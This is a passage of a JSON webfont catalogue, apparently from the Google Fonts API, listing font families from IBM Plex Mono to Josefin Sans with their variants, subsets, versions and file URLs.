"http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSGlZFh8ARHNh4zg.ttf", "300italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSflVFh8ARHNh4zg.ttf", "regular": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F63fjptAgt5VM-kVkqdyU8n5igg1l9kn-s.ttf", "italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6pfjptAgt5VM-kVkqdyU8n1ioq0n1hj-sNFQ.ttf", "500italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSJlRFh8ARHNh4zg.ttf", "600italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSClNFh8ARHNh4zg.ttf", "700italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSblJFh8ARHNh4zg.ttf" } }, { "kind": "webfonts#webfont", "family": "IBM Plex Sans", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "latin", "latin-ext", "vietnamese" ], "version": "v7", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX-KVElMYYaJe8bpLHnCwDKjbLeEKxIedbzDw.ttf", "200": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjR7_MIZmdd_qFmo.ttf", "300": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjXr8MIZmdd_qFmo.ttf", "500": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjSL9MIZmdd_qFmo.ttf", "600": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjQ76MIZmdd_qFmo.ttf", "700": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjWr7MIZmdd_qFmo.ttf", "100italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX8KVElMYYaJe8bpLHnCwDKhdTmdKZMW9PjD3N8.ttf", "200italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTm2Idscf3vBmpl8A.ttf", "300italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTmvIRscf3vBmpl8A.ttf", "regular": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYXgKVElMYYaJe8bpLHnCwDKtdbUFI5NadY.ttf", "italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX-KVElMYYaJe8bpLHnCwDKhdTeEKxIedbzDw.ttf", "500italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTm5IVscf3vBmpl8A.ttf", "600italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTmyIJscf3vBmpl8A.ttf", "700italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTmrINscf3vBmpl8A.ttf" } }, { "kind": "webfonts#webfont", "family": "IBM Plex Sans Condensed", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v6", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8nN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY7KyKvBgYsMDhM.ttf", "200": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY5m6Yvrr4cFFwq5.ttf", "300": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY4C6ovrr4cFFwq5.ttf", "500": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY5a64vrr4cFFwq5.ttf", "600": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY527Ivrr4cFFwq5.ttf", "700": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY4S7Yvrr4cFFwq5.ttf", "100italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8hN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8M_LhakJHhOgBg.ttf", "200italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8GPqpYMnEhq5H1w.ttf", "300italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8AfppYMnEhq5H1w.ttf", "regular": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8lN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHbauwq_jhJsM.ttf", "italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8nN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYasyKvBgYsMDhM.ttf", "500italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8F_opYMnEhq5H1w.ttf", "600italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8HPvpYMnEhq5H1w.ttf", "700italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8BfupYMnEhq5H1w.ttf" } }, { "kind": "webfonts#webfont", "family": "IBM Plex Serif", "category": "serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v8", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizBREVNn1dOx-zrZ2X3pZvkTi182zIZj1bIkNo.ttf", "200": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi3Q-hIzoVrBicOg.ttf", "300": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi20-RIzoVrBicOg.ttf", "500": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi3s-BIzoVrBicOg.ttf", "600": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi3A_xIzoVrBicOg.ttf", "700": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi2k_hIzoVrBicOg.ttf", "100italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizHREVNn1dOx-zrZ2X3pZvkTiUa41YTi3TNgNq55w.ttf", "200italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa4_oyq17jjNOg_oc.ttf", "300italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa454xq17jjNOg_oc.ttf", "regular": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizDREVNn1dOx-zrZ2X3pZvkThUY0TY7ikbI.ttf", "italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizBREVNn1dOx-zrZ2X3pZvkTiUa2zIZj1bIkNo.ttf", "500italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa48Ywq17jjNOg_oc.ttf", "600italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa4-o3q17jjNOg_oc.ttf", "700italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa4442q17jjNOg_oc.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell DW Pica", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfelldwpica/v9/2sDGZGRQotv9nbn2qSl0TxXVYNw9ZAPUvi88MQ.ttf", "italic": "http://fonts.gstatic.com/s/imfelldwpica/v9/2sDEZGRQotv9nbn2qSl0TxXVYNwNZgnQnCosMXm0.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell DW Pica SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfelldwpicasc/v9/0ybjGCAu5PfqkvtGVU15aBhXz3EUrnTW-BiKEUiBGA.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell Double Pica", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfelldoublepica/v9/3XF2EqMq_94s9PeKF7Fg4gOKINyMtZ8rT0S1UL5Ayp0.ttf", "italic": "http://fonts.gstatic.com/s/imfelldoublepica/v9/3XF0EqMq_94s9PeKF7Fg4gOKINyMtZ8rf0a_VJxF2p2G8g.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell Double Pica SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfelldoublepicasc/v9/neIazDmuiMkFo6zj_sHpQ8teNbWlwBB_hXjJ4Y0Eeru2dGg.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell English", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellenglish/v9/Ktk1ALSLW8zDe0rthJysWrnLsAz3F6mZVY9Y5w.ttf", "italic": "http://fonts.gstatic.com/s/imfellenglish/v9/Ktk3ALSLW8zDe0rthJysWrnLsAzHFaOdd4pI59zg.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell English SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellenglishsc/v9/a8IENpD3CDX-4zrWfr1VY879qFF05pZLO4gOg0shzA.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell French Canon", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellfrenchcanon/v9/-F6ufiNtDWYfYc-tDiyiw08rrghJszkK6coVPt1ozoPz.ttf", "italic": "http://fonts.gstatic.com/s/imfellfrenchcanon/v9/-F6gfiNtDWYfYc-tDiyiw08rrghJszkK6foXNNlKy5PzzrU.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell French Canon SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellfrenchcanonsc/v9/FBVmdCru5-ifcor2bgq9V89khWcmQghEURY7H3c0UBCVIVqH.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell Great Primer", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellgreatprimer/v9/bx6aNwSJtayYxOkbYFsT6hMsLzX7u85rJorXvDo3SQY1.ttf", "italic": "http://fonts.gstatic.com/s/imfellgreatprimer/v9/bx6UNwSJtayYxOkbYFsT6hMsLzX7u85rJrrVtj4VTBY1N6U.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell Great Primer SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellgreatprimersc/v9/ga6daxBOxyt6sCqz3fjZCTFCTUDMHagsQKdDTLf9BXz0s8FG.ttf" } }, { "kind": "webfonts#webfont", "family": "Ibarra Real Nova", "category": "serif", "variants": [ "regular", "italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v2", "lastModified": "2020-04-13", "files": { "600": "http://fonts.gstatic.com/s/ibarrarealnova/v2/sZlYdQiA-DBIDCcaWtQzL4BZHoiDmKR8NNRFMuhjCXY.ttf", "700": "http://fonts.gstatic.com/s/ibarrarealnova/v2/sZlYdQiA-DBIDCcaWtQzL4BZHoiDmMB9NNRFMuhjCXY.ttf", "regular": "http://fonts.gstatic.com/s/ibarrarealnova/v2/sZlfdQiA-DBIDCcaWtQzL4BZHoiDoHxSENxuLuE.ttf", "italic": "http://fonts.gstatic.com/s/ibarrarealnova/v2/sZlZdQiA-DBIDCcaWtQzL4BZHoiDkH5YFP5rPuF6EA.ttf", "600italic": "http://fonts.gstatic.com/s/ibarrarealnova/v2/sZladQiA-DBIDCcaWtQzL4BZHoiDkH5gzNBPNspmGXawpg.ttf", "700italic": "http://fonts.gstatic.com/s/ibarrarealnova/v2/sZladQiA-DBIDCcaWtQzL4BZHoiDkH5gqNFPNspmGXawpg.ttf" } }, { "kind": "webfonts#webfont", "family": "Iceberg", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/iceberg/v7/8QIJdijAiM7o-qnZuIgOq7jkAOw.ttf" } }, { "kind": "webfonts#webfont", "family": "Iceland", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/iceland/v8/rax9HiuFsdMNOnWPWKxGADBbg0s.ttf" } }, { "kind": "webfonts#webfont", "family": "Imprima", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imprima/v8/VEMxRoN7sY3yuy-7-oWHyDzktPo.ttf" } }, { "kind": "webfonts#webfont", "family": "Inconsolata", "category": "monospace", "variants": [ "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v19", "lastModified": "2020-04-20", "files": { "200": "http://fonts.gstatic.com/s/inconsolata/v19/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7LppwU8aRr8lleY2co.ttf", "300": "http://fonts.gstatic.com/s/inconsolata/v19/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp9s8aRr8lleY2co.ttf", "500": "http://fonts.gstatic.com/s/inconsolata/v19/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp7c8aRr8lleY2co.ttf", "600": "http://fonts.gstatic.com/s/inconsolata/v19/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp1s7aRr8lleY2co.ttf", "700": "http://fonts.gstatic.com/s/inconsolata/v19/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp2I7aRr8lleY2co.ttf", "800": "http://fonts.gstatic.com/s/inconsolata/v19/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7LppwU7aRr8lleY2co.ttf", "900": "http://fonts.gstatic.com/s/inconsolata/v19/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lppyw7aRr8lleY2co.ttf", "regular": "http://fonts.gstatic.com/s/inconsolata/v19/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp4U8aRr8lleY2co.ttf" } }, { "kind": "webfonts#webfont", "family": "Inder", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/inder/v8/w8gUH2YoQe8_4vq6pw-P3U4O.ttf" } }, { "kind": "webfonts#webfont", "family": "Indie Flower", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/indieflower/v11/m8JVjfNVeKWVnh3QMuKkFcZlbkGG1dKEDw.ttf" } }, { "kind": "webfonts#webfont", "family": "Inika", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/inika/v8/rnCr-x5X3QP-pix7auM-mHnOSOuk.ttf", "regular": "http://fonts.gstatic.com/s/inika/v8/rnCm-x5X3QP-phTHRcc2s2XH.ttf" } }, { "kind": "webfonts#webfont", "family": "Inknut Antiqua", "category": "serif", "variants": [ "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2vwrj5bBoIYJNf.ttf", "500": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU33w7j5bBoIYJNf.ttf", "600": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU3bxLj5bBoIYJNf.ttf", "700": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2_xbj5bBoIYJNf.ttf", "800": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2jxrj5bBoIYJNf.ttf", "900": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2Hx7j5bBoIYJNf.ttf", "regular": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GSYax7VC4ot_qNB4nYpBdaKXUD6pzxRwYB.ttf" } }, { "kind": "webfonts#webfont", "family": "Inria Sans", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-04-21", "files": { "300": "http://fonts.gstatic.com/s/inriasans/v1/ptRPTiqXYfZMCOiVj9kQ3ELaDQtFqeY3fX4.ttf", "700": "http://fonts.gstatic.com/s/inriasans/v1/ptRPTiqXYfZMCOiVj9kQ3FLdDQtFqeY3fX4.ttf", "300italic": "http://fonts.gstatic.com/s/inriasans/v1/ptRRTiqXYfZMCOiVj9kQ1OzAgQlPrcQybX4pQA.ttf", "regular": "http://fonts.gstatic.com/s/inriasans/v1/ptRMTiqXYfZMCOiVj9kQ5O7yKQNute8.ttf", "italic": "http://fonts.gstatic.com/s/inriasans/v1/ptROTiqXYfZMCOiVj9kQ1Oz4LSFrpe8uZA.ttf", "700italic": "http://fonts.gstatic.com/s/inriasans/v1/ptRRTiqXYfZMCOiVj9kQ1OzAkQ5PrcQybX4pQA.ttf" } }, { "kind": "webfonts#webfont", "family": "Inria Serif", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "300": "http://fonts.gstatic.com/s/inriaserif/v1/fC14PYxPY3rXxEndZJAzN3wAVQjFhFyta3xN.ttf", "700": "http://fonts.gstatic.com/s/inriaserif/v1/fC14PYxPY3rXxEndZJAzN3wQUgjFhFyta3xN.ttf", "300italic": "http://fonts.gstatic.com/s/inriaserif/v1/fC16PYxPY3rXxEndZJAzN3SuT4THjliPbmxN0_E.ttf", "regular": "http://fonts.gstatic.com/s/inriaserif/v1/fC1lPYxPY3rXxEndZJAzN0SsfSzNr0Ck.ttf", "italic": "http://fonts.gstatic.com/s/inriaserif/v1/fC1nPYxPY3rXxEndZJAzN3SudyjvqlCkcmU.ttf", "700italic": "http://fonts.gstatic.com/s/inriaserif/v1/fC16PYxPY3rXxEndZJAzN3SuT5TAjliPbmxN0_E.ttf" } }, { "kind": "webfonts#webfont", "family": "Inter", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-04-21", "files": { "100": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyeMZhrib2Bg-4.ttf", "200": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuDyfMZhrib2Bg-4.ttf", "300": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuOKfMZhrib2Bg-4.ttf", "500": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuI6fMZhrib2Bg-4.ttf", "600": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuGKYMZhrib2Bg-4.ttf", "700": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuFuYMZhrib2Bg-4.ttf", "800": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuDyYMZhrib2Bg-4.ttf", "900": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuBWYMZhrib2Bg-4.ttf", "regular": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyfMZhrib2Bg-4.ttf" } }, { "kind": "webfonts#webfont", "family": "Irish Grover", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/irishgrover/v10/buExpoi6YtLz2QW7LA4flVgf-P5Oaiw4cw.ttf" } }, { "kind": "webfonts#webfont", "family": "Istok Web", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v14", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/istokweb/v14/3qTqojGmgSyUukBzKslhvU5a_mkUYBfcMw.ttf", "regular": "http://fonts.gstatic.com/s/istokweb/v14/3qTvojGmgSyUukBzKslZAWF-9kIIaQ.ttf", "italic": "http://fonts.gstatic.com/s/istokweb/v14/3qTpojGmgSyUukBzKslpA2t61EcYaQ7F.ttf", "700italic": "http://fonts.gstatic.com/s/istokweb/v14/3qT0ojGmgSyUukBzKslpA1PG-2MQQhLMMygN.ttf" } }, { "kind": "webfonts#webfont", "family": "Italiana", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/italiana/v8/QldNNTtLsx4E__B0XTmRY31Wx7Vv.ttf" } }, { "kind": "webfonts#webfont", "family": "Italianno", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/italianno/v9/dg4n_p3sv6gCJkwzT6Rnj5YpQwM-gg.ttf" } }, { "kind": "webfonts#webfont", "family": "Itim", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/itim/v4/0nknC9ziJOYewARKkc7ZdwU.ttf" } }, { "kind": "webfonts#webfont", "family": "Jacques Francois", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jacquesfrancois/v7/ZXu9e04ZvKeOOHIe1TMahbcIU2cgmcPqoeRWfbs.ttf" } }, { "kind": "webfonts#webfont", "family": "Jacques Francois Shadow", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jacquesfrancoisshadow/v8/KR1FBtOz8PKTMk-kqdkLVrvR0ECFrB6Pin-2_q8VsHuV5ULS.ttf" } }, { "kind": "webfonts#webfont", "family": "Jaldi", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/jaldi/v6/or3hQ67z0_CI33voSbT3LLQ1niPn.ttf", "regular": "http://fonts.gstatic.com/s/jaldi/v6/or3sQ67z0_CI30NUZpD_B6g8.ttf" } }, { "kind": "webfonts#webfont", "family": "Jim Nightshade", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jimnightshade/v7/PlIkFlu9Pb08Q8HLM1PxmB0g-OS4V3qKaMxD.ttf" } }, { "kind": "webfonts#webfont", "family": "Jockey One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jockeyone/v9/HTxpL2g2KjCFj4x8WI6ArIb7HYOk4xc.ttf" } }, { "kind": "webfonts#webfont", "family": "Jolly Lodger", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jollylodger/v7/BXRsvFTAh_bGkA1uQ48dlB3VWerT3ZyuqA.ttf" } }, { "kind": "webfonts#webfont", "family": "Jomhuria", "category": "display", "variants": [ "regular" ], "subsets": [ "arabic", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jomhuria/v7/Dxxp8j-TMXf-llKur2b1MOGbC3Dh.ttf" } }, { "kind": "webfonts#webfont", "family": "Jomolhari", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "tibetan" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/jomolhari/v1/EvONzA1M1Iw_CBd2hsQCF1IZKq5INg.ttf" } }, { "kind": "webfonts#webfont", "family": "Josefin Sans", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "100italic", "200italic", "300italic", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v15", "lastModified": "2020-03-06", "files": { "100": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_DjRXMFrLgTsQV0.ttf", "200": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_LjQXMFrLgTsQV0.ttf", "300": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_GbQXMFrLgTsQV0.ttf", "500": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_ArQXMFrLgTsQV0.ttf", "600": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_ObXXMFrLgTsQV0.ttf", "700": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_N_XXMFrLgTsQV0.ttf", "regular": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_DjQXMFrLgTsQV0.ttf", "100italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTtINhKibpUV3MEQ.ttf", "200italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTNIJhKibpUV3MEQ.ttf", "300italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCT6oJhKibpUV3MEQ.ttf", "italic": 